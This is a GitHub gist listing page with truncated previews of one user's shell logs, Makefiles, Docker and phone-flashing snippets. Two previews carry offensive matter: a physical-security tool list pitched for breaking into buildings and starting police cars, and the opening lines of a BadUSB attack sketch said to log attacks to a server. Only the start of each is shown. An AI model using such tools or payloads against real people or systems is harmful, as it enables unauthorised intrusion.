Skip to content

Instantly share code, notes, and snippets.

Lance R. Vick lrvick

Block or report user

Report or block lrvick

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@lrvick
lrvick / whattimeisit.sh
Created Sep 17, 2019
Lost in time and space
View whattimeisit.sh
docker@virtualbox:~$ date --help
BusyBox v1.27.2 (2017-10-30 14:58:40 UTC) multi-call binary.
...
docker@aosp-virtualbox:~$ date
Mon Sep 16 04:49:55 UTC 2222
docker@virtualbox:~$ sudo date -s "2019-09-16 04:50"
date: can't set date: Invalid argument
Mon Sep 16 04:50:00 UTC 2019
View gist:8b49f8b40955387bfb7d45da9912e3ba
$ cat Dockerfile
FROM ubuntu:cosmic
ENV HOME=/home/build
ARG UID=1000
ARG GID=50
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
@lrvick
lrvick / hashbang-todo.md
Last active Aug 22, 2019
Hashbang Todo
View hashbang-todo.md

#! Todo List

Things we want to get done for the community along with bounties for each.

Notes

A project is done when a helm chart is submitted to the infra repo, and is in a state where it can be deployed and upgraded/downgraded seamlessly with well defined health checks.

@lrvick
lrvick / Makefile
Last active Aug 16, 2019
make minikube wrapper for helm chart development
View Makefile
mkfile_path := $(abspath $(lastword $(MAKEFILE_LIST)))
current_dir := $(notdir $(patsubst %/,%,$(dir $(mkfile_path))))
userid = $(shell id -u)
groupid = $(shell id -g)
image = "local/$(current_dir):latest"
default: build
lint: helm-lint
fetch: submodule-update
latest: submodule-latest build
View Makefile
mkfile_path := $(abspath $(lastword $(MAKEFILE_LIST)))
current_dir := $(notdir $(patsubst %/,%,$(dir $(mkfile_path))))
userid = $(shell id -u)
groupid = $(shell id -g)
image = "bitgo/$(current_dir):latest"
default: build
lint: helm-lint
fetch: submodule-update
latest: submodule-latest build
View gist:f106d30826eb4680f2e447c5967a11db
[lrvick@qatan crosshatch-PQ3A.190801.002]$ ls -lah crosshatch-avb_pkmd.bin
-rw-r--r-- 1 lrvick lrvick 520 Aug 6 2019 crosshatch-avb_pkmd.bin
[lrvick@qatan crosshatch-PQ3A.190801.002]$ sudo ./fastboot flash avb_custom_key crosshatch-avb_pkmd.bin
target reported max download size of 268435456 bytes
Sending 'avb_custom_key' (0 KB)...
OKAY [ 0.120s]
Writing 'avb_custom_key'...
FAILED (remote: Failed flash avb custom key Device Error)
Finished. Total time: 0.687s
@lrvick
lrvick / physsec_shopping.md
Last active May 15, 2019
PhysSec Shopping List
View physsec_shopping.md

PhysSec Shopping List

Need to get into a building? Start a police car? Borrow a bulldozer? Go to a restricted elevator floor? It is pretty easy with the right tools and sometimes a bit of practice.

Knowing what those tools even are is half the battle. This guide attempts to solve that for you for for free.

Actually obtaining these tools is non-trivial but -all- of them can be obtained

@lrvick
lrvick / role.md
Last active May 12, 2019
My default canned response to all recruiters. Know what you want out of your career and articulate it specifically if you want to get it either at your current employer, or a different one.
View role.md

I know exactly what I want in a long term role so I can save us some time.

For me to be willing to change jobs at this point I would expect:

  • A high level of autonomy where I am allowed to work weird hours.
  • Have my obsession for auditable everything be humored/tolerated
    • I prefer to work with open platforms like RISC-V and OpenPower and open operating systems like Linux, FreeBSD, OpenBSD, Sel4, etc
    • I am never asked to rely on any software I can't audit on any of my personal or company devices.
  • No need to go find clients myself or worry about the business side of the house
  • Travel/lodging covered for the 2-3 security conferences I try to attend every year.
View xinitrc
#!/bin/bash
# Let GPG know about our current terminal
gpg-connect-agent updatestartuptty /bye
# Start compositor for faster rendering for terminals etc
compton &
# Set wallpaper
nitrogen --set-scaled ~/.wallpaper/yourcoolwallpaper.jpg
@lrvick
lrvick / usbninja.ino
Last active Sep 6, 2019
One size fits all BadUSB attack for Mac/Windows for the USBNinja. Logs all attacks to server. Server can optionally provide a unique payload for each target hostname/user combo.
View usbninja.ino
#include <NinjaKeyboard.h>
void setup(){}
void loop() {}
void payloadA(){
USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
You can’t perform that action at this time.